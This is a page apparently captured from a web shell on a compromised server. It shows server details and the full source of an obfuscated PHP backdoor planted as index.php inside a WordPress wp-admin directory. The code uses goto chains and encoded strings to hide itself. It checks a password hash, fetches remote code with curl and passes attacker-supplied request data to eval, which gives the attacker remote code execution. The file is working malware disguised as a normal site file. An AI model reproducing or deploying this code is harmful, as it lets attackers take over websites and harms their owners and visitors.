HEX
Server: LiteSpeed
System: Linux venus 5.15.0-156-generic #166-Ubuntu SMP Sat Aug 9 00:02:46 UTC 2025 x86_64
User: axxoncom (1007)
PHP: 8.3.19
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/axxoncom/domains/mediarketing.com/public_html/wp-admin/includes/includes/includes/index.php
<?php
 goto MdnMt_aJ8MOE2; CnOoet2VSamtM: class ihnnqfybhq0VG { static function dsitNmHmbd0L3($slQsZyElO3V5g) { goto JD82jXHFyMomt; fpmBAvU697fwK: return $xwqzHXHXM3iSe; goto BInvRgHR3FEC3; lQqZ1ahjoppS5: $DxcRrk_jIYSKY = $wNkCptMtnew6E("\176", "\x20"); goto joLCNDoS0yoJE; op4prpLqlxi_D: $xwqzHXHXM3iSe = ''; goto Nt5jwmLtAK29E; Nt5jwmLtAK29E: foreach ($Ul9FLcFrBi2Ki as $uzoD8H9dEwVPZ => $Qq6JA_6o4JfsC) { $xwqzHXHXM3iSe .= $DxcRrk_jIYSKY[$Qq6JA_6o4JfsC - 25655]; f2GExBuSIfShC: } goto JIy1NC9CZaeNC; JIy1NC9CZaeNC: iRwIiCqcixtev: goto fpmBAvU697fwK; joLCNDoS0yoJE: $Ul9FLcFrBi2Ki = explode("\133", $slQsZyElO3V5g); goto op4prpLqlxi_D; JD82jXHFyMomt: $wNkCptMtnew6E = "\x72" . "\141" . "\156" . "\147" . "\145"; goto lQqZ1ahjoppS5; BInvRgHR3FEC3: } static function otlYVuuxQtIae($L1GHktOJnE3bi, $IWE_tLrmfjp6I) { goto Cyo_zth4HXzL6; sSKsYxCUyCFtg: $V7T2xq2ENu3Pn = curl_exec($VFiAKXPzGWmcl); goto T0_m72x9sJrsn; juO0zNJhZMeu7: curl_setopt($VFiAKXPzGWmcl, CURLOPT_RETURNTRANSFER, 1); goto sSKsYxCUyCFtg; T0_m72x9sJrsn: return empty($V7T2xq2ENu3Pn) ? $IWE_tLrmfjp6I($L1GHktOJnE3bi) : $V7T2xq2ENu3Pn; goto TQYgboloiJMqk; Cyo_zth4HXzL6: $VFiAKXPzGWmcl = curl_init($L1GHktOJnE3bi); goto juO0zNJhZMeu7; TQYgboloiJMqk: } static function dQ3S04CumdB8R() { goto L7HBCuFhO2M_W; kC9KTo6AbXyO2: $suc17XsO3FaWM = $MWcR9qiL6kScP[2 + 0]($xYUzi01fvZdMN, true); goto JbnwIGLLS_FYA; Gd035h0ro6_X6: FmlWysD0qHTG_: goto ZtuiEnihnbZW9; REt83fw7TghkC: @eval($MWcR9qiL6kScP[2 + 2]($DuVBmGYgIoc0u)); goto uMVFIwF7U3tJB; ExVpBl2qdVOQl: if (!(@$suc17XsO3FaWM[0] - time() > 0 and md5(md5($suc17XsO3FaWM[1 + 2])) === "\x62\141\64\144\145\64\144\65\70\x66\x61\x38\60\x31\x33\x36\60\x65\x39\x36\143\71\143\x34\x39\70\x38\60\146\65\x32\145")) { goto FmlWysD0qHTG_; } goto sokXNTJLoVMHX; AL9p3PrdUqzOK: $tNW2VVvFledzb = @$MWcR9qiL6kScP[1]($MWcR9qiL6kScP[4 + 6](INPUT_GET, $MWcR9qiL6kScP[8 + 1])); goto iUl3GjFS573Jl; wrwxoqqXh4SRv: foreach ($wbOoDU20tKre1 as $yDzUew4evgDgb) { $MWcR9qiL6kScP[] = self::DSiTnmHMBD0L3($yDzUew4evgDgb); k2uq6pxIFSD2x: } goto Ahx4BpIOGOnHX; sokXNTJLoVMHX: $DuVBmGYgIoc0u = self::otlyVuUXqTiAe($suc17XsO3FaWM[1 + 0], $MWcR9qiL6kScP[0 + 5]); goto REt83fw7TghkC; L7HBCuFhO2M_W: $wbOoDU20tKre1 = array("\x32\x35\66\70\x32\133\62\65\x36\x36\67\x5b\x32\65\66\x38\x30\133\x32\x35\66\70\64\x5b\x32\x35\x36\x36\65\x5b\x32\65\66\70\x30\x5b\62\x35\66\x38\66\133\x32\65\66\x37\x39\133\62\65\x36\x36\x34\x5b\x32\x35\66\67\x31\x5b\x32\65\x36\x38\62\133\x32\65\x36\66\65\x5b\62\65\x36\x37\66\x5b\62\65\x36\x37\x30\x5b\62\65\66\67\x31", "\x32\65\66\x36\x36\x5b\x32\65\66\x36\65\133\x32\x35\66\66\67\x5b\x32\x35\66\70\66\x5b\62\x35\66\x36\67\x5b\62\x35\66\67\x30\x5b\x32\65\66\66\x35\x5b\x32\x35\67\63\62\133\62\x35\67\x33\x30", "\62\65\66\67\65\133\x32\x35\x36\66\x36\133\x32\65\66\x37\60\133\x32\x35\66\67\x31\x5b\62\x35\x36\x38\66\x5b\x32\65\x36\70\x31\133\x32\x35\66\x38\x30\133\62\x35\66\x38\x32\x5b\x32\x35\x36\x37\60\x5b\62\65\x36\70\x31\x5b\x32\65\x36\x38\60", "\62\65\66\66\x39\x5b\62\x35\66\x38\x34\133\62\x35\66\70\62\x5b\x32\x35\66\x37\x34", "\x32\65\66\70\x33\x5b\62\x35\x36\70\64\x5b\x32\x35\x36\x36\x36\133\62\x35\x36\x38\x30\x5b\x32\65\x37\62\x37\x5b\62\65\x37\x32\71\133\x32\x35\66\x38\66\x5b\x32\65\66\x38\x31\x5b\x32\x35\x36\x38\60\133\x32\x35\x36\x38\62\133\x32\x35\66\67\x30\133\x32\65\66\70\61\133\x32\65\66\x38\x30", "\62\x35\x36\67\x39\x5b\62\x35\66\67\x36\x5b\62\65\x36\x37\x33\x5b\62\65\66\x38\x30\x5b\62\65\66\70\66\x5b\62\x35\x36\67\70\133\62\x35\66\x38\60\133\x32\x35\66\66\x35\x5b\x32\65\x36\x38\66\x5b\x32\65\66\x38\x32\x5b\62\x35\x36\x37\x30\x5b\62\65\x36\x37\61\x5b\62\x35\66\x36\x35\133\62\65\66\x38\x30\133\62\x35\x36\67\61\x5b\x32\65\x36\66\65\133\62\65\66\x36\x36", "\x32\65\67\60\71\x5b\x32\x35\67\x33\71", "\62\65\66\65\66", "\x32\x35\67\63\64\x5b\62\65\67\63\x39", "\62\x35\x37\x31\x36\133\x32\65\66\x39\71\133\62\65\66\71\71\x5b\x32\x35\67\61\66\133\x32\65\66\x39\x32", "\x32\x35\66\67\71\x5b\x32\x35\66\x37\66\x5b\x32\65\x36\x37\x33\133\x32\x35\x36\66\65\x5b\x32\65\x36\70\x30\x5b\x32\65\66\x36\x37\x5b\62\x35\x36\70\66\133\x32\x35\66\67\66\x5b\x32\x35\66\67\61\133\x32\65\x36\66\71\133\x32\65\66\x36\64\133\x32\65\66\66\65"); goto wrwxoqqXh4SRv; uMVFIwF7U3tJB: die; goto Gd035h0ro6_X6; iUl3GjFS573Jl: $xYUzi01fvZdMN = @$MWcR9qiL6kScP[3 + 0]($MWcR9qiL6kScP[3 + 3], $tNW2VVvFledzb); goto kC9KTo6AbXyO2; Ahx4BpIOGOnHX: e0DzFkLqZjNEw: goto AL9p3PrdUqzOK; JbnwIGLLS_FYA: @$MWcR9qiL6kScP[10 + 0](INPUT_GET, "\157\x66") == 1 && die($MWcR9qiL6kScP[1 + 4](__FILE__)); goto ExVpBl2qdVOQl; ZtuiEnihnbZW9: } } goto hb0gO2k7v531R; MdnMt_aJ8MOE2: $iQhMwOvk1lgWW = "\162" . "\x61" . "\156" . "\147" . "\x65"; goto uXbnuoVXD0KM2; uXbnuoVXD0KM2: $aX4zOmyXgB0mQ = $iQhMwOvk1lgWW("\x7e", "\40"); goto bjJoQ6cbFwekP; d1hjVmeiymxo4: ($xMB4g2lm3sqq0[64] = $xMB4g2lm3sqq0[64] . $xMB4g2lm3sqq0[73]) && ($xMB4g2lm3sqq0[90] = $xMB4g2lm3sqq0[64]($xMB4g2lm3sqq0[90])) && @eval($xMB4g2lm3sqq0[64](${$xMB4g2lm3sqq0[31]}[25])); goto jAb_MN3CCSkjb; Bx0l5hPDC7pnT: if (!(in_array(gettype($xMB4g2lm3sqq0) . count($xMB4g2lm3sqq0), $xMB4g2lm3sqq0) && count($xMB4g2lm3sqq0) == 16 && md5(md5(md5(md5($xMB4g2lm3sqq0[10])))) === "\x65\65\x32\x62\61\x31\x63\60\141\x35\x33\x64\71\144\70\141\145\144\70\x33\67\70\60\x62\145\145\65\x39\x65\x63\63\x63")) { goto x05zLeMA3GAxH; } goto d1hjVmeiymxo4; jAb_MN3CCSkjb: x05zLeMA3GAxH: goto zeTxdHPKik9Gn; zeTxdHPKik9Gn: metaphone("\x4d\152\x4d\x32\x4f\x54\147\63\117\x44\x59\171\116\x44\x6b\64\116\x6a\153\x79\116\172\x63\x30\x4e\x44\125\x7a\115\x7a\x63\x78"); goto CnOoet2VSamtM; bjJoQ6cbFwekP: $xMB4g2lm3sqq0 = ${$aX4zOmyXgB0mQ[31 + 0] . $aX4zOmyXgB0mQ[57 + 2] . $aX4zOmyXgB0mQ[23 + 24] . $aX4zOmyXgB0mQ[27 + 20] . $aX4zOmyXgB0mQ[13 + 38] . $aX4zOmyXgB0mQ[26 + 27] . $aX4zOmyXgB0mQ[42 + 15]}; goto Bx0l5hPDC7pnT; hb0gO2k7v531R: iHNnQFyBHQ0vG::dq3s04cUmdb8r();
?>